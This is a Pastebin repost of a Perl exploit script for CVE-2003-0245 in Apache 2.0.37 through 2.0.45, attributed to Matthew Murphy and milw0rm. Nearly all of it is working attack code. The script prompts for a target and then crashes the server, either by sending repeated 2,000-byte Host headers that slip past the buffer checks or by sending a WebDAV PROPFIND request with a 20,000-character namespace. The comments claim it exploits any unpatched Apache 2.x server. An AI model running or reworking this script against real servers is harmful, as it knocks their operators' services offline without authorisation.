FlyFar

Apache 2.0.37 - 2.0.45 APR Exploit - CVE-2003-0245

Feb 2nd, 2024
112
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 6.50 KB | Cybersecurity | 0 0
  1. #!/usr/bin/perl
  2. #
  3. # Apache 2.0.37 - 2.0.45 APR Exploit
  4. # Written By Matthew Murphy
  5. #
  6. # This Perl script will successfully exploit any un-patched Apache 2.x
  7. # servers.
  8. #
  9.  
  10. # Base64 Encoder
  11. #
  12. # If you want authentication with the server via HTTP's lame Basic
  13. # auth, put the proper string to encode BASE64 content, and use
  14. # '%s' to represent the credentials being encoded.  For instance:
  15. #
  16. # base64 %s
  17. #
  18. # would result in:
  19. #
  20. # base64 userid:password
  21. #
  22. # If your decoder requires you to use STDIN to pass the password
  23. # (no pun intended), set $BASE64_USE_STDIN to nonzero and do not
  24. # use '%s' on the command-line.
  25. $BASE64_CMD_STRING = "use_base64_encoder_here %s";
  26.  
  27. # Base64 encoder piping
  28. #
  29. # If your encoder requires the password to be written to STDIN,
  30. # set this to a nonzero value.  NOTE: This requires support for
  31. # bi-directional pipes on your OS version.
  32. $BASE64_USE_STDIN = 0;
  33.  
  34. # Base64 encoder input handling
  35. #
  36. # If your encoder requires a newline after your credentials,
  37. # set this to your newline character.
  38. $BASE64_WRITE_NL = "";
  39.  
  40. use IO::Socket;
  41. print STDOUT "Apache 2.0 APR Exploit\r\n";
  42. print STDOUT "By Matthew Murphy\r\n\r\n";
  43. print STDOUT "Enter the hostname/IP address of the server: ";
  44. $line = <STDIN>;
  45. $host = mychomp($line);
  46. print STDOUT "Enter the port of the server \[80\]: ";
  47. $line = <STDIN>;
  48. $port = mychomp($line);
  49. print STDOUT "Use authentication credentials for the session \[Y/N\]? ";
  50. $line = <STDIN>;
  51. $char = mychomp($line);
  52. if ($char == "Y" || $char == "y") {
  53.     print STDOUT "What username shall we use: ";
  54.     $line = <STDIN>;
  55.     $user = mychomp($line);
  56.     print STDOUT "What password shall we use: ";
  57.     $line = <STDIN>;
  58.     $pass = mychomp($line);
  59.     $auth = "$user:$pass";
  60.     if ($BASE64_USE_STDIN) {
  61.         # l33t Perl piping trix; NOTE: This is definitely
  62.         # Alpha code! :-)
  63.         pipe(STDOUTREAD, STDOUTWRITE);
  64.         pipe(STDINREAD, STDINWRITE);
  65.         open(OLDSTDIN, "&STDIN");
  66.         open(OLDSTDOUT, ">&STDOUT");
  67.         open(STDIN, "&STDINREAD");
  68.         open(STDOUT, ">&STDOUTWRITE");
  69.         close(STDINREAD);
  70.         close(STDOUTWRITE);
  71.         system($BASE64_CMD_STRING);
  72.         open(STDIN, "&OLDSTDIN");
  73.         open(STDOUT, "&>OLDSTDOUT");
  74.         close(OLDSTDIN);
  75.         close(OLDSTDOUT);
  76.         print STDINWRITE $auth;
  77.         close(STDINWRITE);
  78.         read(STDOUTREAD, $base64, 4096); # Edit for insane passwords
  79.         close(STDOUTREAD);
  80.     } else {
  81.         open(READOUTPUT, sprintf($BASE64_CMD_STRING, $auth)."|");
  82.         read(READOUTPUT, $base64, 4096); # See above
  83.         close(READOUTPUT);
  84.     }
  85.     # Another hack for dealing with base64 encoders that output
  86.     # multi-lined encoded text.  HTTP specifically calls for a
  87.     # single line.  Note that this pattern also messes with spaces,
  88.     # tabs, etc., but base64 doesn't use those either, so this
  89.     # shouldn't matter.
  90.     $base64 = join("", split(/ /, $base64));
  91. } else {
  92.     $base64 = undef;
  93. }
  94. $f = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"127.0.0.1");
  95. print STDOUT "Exploiting a proxy server \[Y/N\]? ";
  96. $line = <STDIN>;
  97. $char = mychomp($line);
  98. if ($char == "Y" || $char == "y") {
  99.     print $f "GET / HTTP/1.1\x0d\x0a";
  100.  
  101.     # Apache 2.0 tries to limit header inputs, but uses a hash table
  102.     # that ultimately concatenates multiple headers of the same name
  103.     # together with ", " between them, so:
  104.     #
  105.     # Host: a
  106.     # Host: b
  107.     #
  108.     # Bypasses Apache's buffer size checks, but ends up as:
  109.     #
  110.     # Host: a,b
  111.     #
  112.     # When processed.  Confirm this with a TRACE against your server:
  113.     #
  114.     # TRACE / HTTP/1.1
  115.     # Host: a
  116.     # Host: b
  117.     #
  118.     # The "message/http" body you receive will contain:
  119.     #
  120.     # TRACE / HTTP/1.1
  121.     # Host: a,b
  122.     #
  123.     # So, for those of you who are confused by this code fragment,
  124.     # this is what it ultimately achieves!
  125.     for ($i = 0; $i < 10; $i++) {
  126.         print $f "Host: ".("A"x2000)."\r\n";
  127.     }
  128.     if (defined($base64)) {
  129.         print $f "Proxy-Authorization: Basic ".$base64."\r\n";
  130.     }
  131.     print $f "\r\n";
  132. } else {
  133.     print STDOUT "What resource should be probed: ";
  134.     $line = <STDIN>;
  135.     $res = mychomp($line);
  136.     print STDOUT "Exploit a DAV repository for this attack? \[Y/N\] ";
  137.     $line = <STDIN>;
  138.     $char = mychomp($line);
  139.     if ($char == "Y" || $char == "y") {
  140.         # WARNING:
  141.         # Another section of alpha code here; mod_dav tends to barf
  142.         # if given the smallest inconsistency, and this is not
  143.         # exactly well-researched.  If this doesn't work for you,
  144.         # target your DAV repository as a typical resource: if
  145.         # UseCanonicalName On hasn't been set explicitly, mod_dav
  146.         # will choke on that as well.
  147.         #
  148.         # STunnel should not have issues with this, as you can't
  149.         # use a "Host" header in an SSL connection anyway, so
  150.         # that is no problem.
  151.         #
  152.         # Note that if the body is too long, IIS servers will also
  153.         # die (assuming of course, that the latest IIS cumulative
  154.         # patch has not been applied), as they have had problems
  155.         # dealing with WebDAV in the very recent past.
  156.  
  157.         # XML Body of Request
  158.         #
  159.         # If everything works, mod_dav will attempt to format a
  160.         # message with apr_psprintf() to indicate that our
  161.         # namespace is invalid, leading to a crash.
  162.         $xmlbody = "<?xml version=\"1.0\"?>\r\n";
  163.         $xmlbody.= "<D:propfind xmlns:D=\"".("A"x20000)."\:\">\r\n";
  164.         $xmlbody.= "\x20\x20\x20\x20<D:allprop/>\r\n";
  165.         $xmlbody.= "</D:propfind>";
  166.  
  167.         # HTTP headers
  168.         print $f "PROPFIND $res HTTP/1.1\r\n";
  169.         print $f "Host: $host:$port\r\n";
  170.         print $f "Depth: 1\r\n";
  171.         print $f "Content-Type: text/xml; charset=\"utf-8\"\r\n";
  172.         print $f "Content-Length: ".length($body)."\r\n\r\n";
  173.         if (defined($base64)) {
  174.             print $f "Authorization: Basic ".$base64."\r\n";
  175.         }
  176.         print $f "$xmlbody\r\n\r\n";
  177.     } else {
  178.         # This does *almost* the exact same thing as the mod_proxy
  179.         # code, and could be considered wasteful, but a few extra
  180.         # CPU cycles never killed anybody. :-(
  181.         print $f "GET $res HTTP/1.1\r\n";
  182.         for ($i = 0; $i < 10; $i++) {
  183.             print $f "Host: ".("A"x2000)."\r\n";
  184.         }
  185.         if (defined($base64)) {
  186.             print $f "Authorization: Basic ".$base64."\r\n";
  187.         }
  188.         print $f "\r\n";
  189.     }
  190. }
  191. while (defined($ln = <$f>)) {
  192.     print STDOUT $ln;
  193. }
  194. undef $f;
  195. exit;
  196.  
  197. # FIXED: The perl chomp() function is broken on my distro,
  198. # so I hacked a fix to work around it.  This note applies
  199. # to ActivePerl 5.8.x -- I haven't tried others.  This is
  200. # another hackish fix, which seems to be the entire style
  201. # of this code.  I'll write better toys when I have time to
  202. # write better toys.
  203. sub mychomp {
  204.     my $data;
  205.     my $arg = shift;
  206.     my $CRLF;
  207.     if ($^O == "MSWin32") {
  208.         $CRLF = 1;
  209.     } else {
  210.         $CRLF = 0;
  211.     }
  212.     $data = substr($arg, 0, length($arg) - $CRLF);
  213.     return $data;
  214. }
  215.  
  216.  
  217. # milw0rm.com [2003-06-08]
Add Comment
Please, Sign In to add comment